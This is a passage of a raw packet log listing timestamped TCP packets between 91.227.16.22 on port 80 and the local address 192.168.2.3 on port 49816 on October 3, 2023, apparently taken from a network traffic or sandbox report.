Oct 3, 2023 09:55:09.770128012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770168066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770232916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770289898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770328999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770351887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770392895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770437002 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770453930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770525932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770565987 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770607948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770704031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770744085 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770775080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770850897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770895004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770925999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770991087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771029949 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771061897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771138906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771178961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771210909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771272898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771317005 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771338940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771410942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771449089 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771471024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771533012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771570921 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771572113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771612883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771656990 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771680117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771738052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771778107 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771820068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771900892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.771940947 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.771972895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772031069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772052050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772070885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.772114038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772156954 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.772198915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772274971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772317886 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.772367954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772437096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772474051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.772500038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772659063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772699118 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.772759914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772818089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772859097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.772902012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.772989988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773029089 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.773071051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773121119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773159027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.773185015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773248911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773293972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.773313046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773376942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773415089 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.773441076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773519039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.773556948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.797265053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.800621986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.930475950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.930566072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.930624008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.930922985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931015968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931056976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.931122065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931302071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931344032 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.931370020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931457043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931498051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.931636095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.931981087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932024002 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.932195902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932346106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932446003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.932475090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932755947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932796001 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.932854891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932934999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.932974100 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.933024883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933257103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933299065 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.933357000 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933582067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933661938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.933686972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933765888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933849096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933868885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.933944941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.933983088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.934041023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.934648037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.934695959 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.934712887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.934801102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.934843063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.935173035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935277939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935314894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.935489893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935611963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935652018 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.935729980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935811996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935851097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.935888052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.935986996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936028004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.936157942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936242104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936281919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.936341047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936429977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936501026 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.936592102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936683893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936724901 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.936760902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936880112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.936917067 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.937010050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937254906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937299967 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.937374115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937695026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937733889 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.937769890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937877893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937972069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.937994003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.938083887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938124895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.938159943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938280106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938318014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.938353062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938467979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938508034 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.938641071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938776970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938813925 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.938886881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.938968897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939007044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.939152956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939229012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939270020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.939325094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939425945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939467907 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.939613104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939706087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939743996 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.939815044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939944983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.939984083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.940186977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.940280914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.940354109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.940437078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.940597057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.940638065 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.940778017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.941057920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.941097975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.941181898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.941376925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.941414118 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.941562891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.941905975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.941945076 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.942007065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942095995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942132950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.942193985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942384005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942424059 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.942589998 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942667007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942704916 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.942791939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942886114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.942924023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.942977905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943113089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943197966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943217993 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.943401098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943444014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.943516016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943598032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943638086 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.943773985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943870068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.943907976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.943943024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944048882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944088936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.944267035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944358110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944396973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.944425106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944504976 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944566965 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.944737911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944856882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.944896936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.944961071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945039988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945080042 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.945133924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945228100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945266008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.945369959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945498943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945533991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.945678949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945776939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945823908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.945848942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.945964098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.946006060 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.950872898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951117039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951164961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.951270103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951361895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951399088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.951443911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951564074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951605082 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.951770067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951899052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.951981068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.952039003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952136040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952172995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.952318907 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952397108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952438116 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.952472925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952640057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952676058 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.952744007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952814102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.952850103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.952980995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.953052998 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.953087091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.953468084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.953581095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.953617096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.953788996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954052925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954090118 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.954231024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954333067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954369068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.954433918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954535007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954617023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.954756021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954890966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.954926968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.955074072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.955147028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.955188036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.955285072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.955900908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.955945015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.955980062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956085920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956124067 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.956342936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956505060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956542015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.956578970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956669092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956710100 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.956815958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956909895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.956949949 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.956984997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957202911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957240105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.957375050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957463026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957520962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.957559109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957658052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957705975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.957762957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957918882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.957971096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.958090067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.958304882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.958338022 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.958367109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.958484888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.958519936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.958548069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.958745956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.958786964 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.958874941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959008932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959042072 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.959080935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959247112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959280014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.959353924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.959424019 CEST	80	49816	91.227.16.22	192.168.2.3
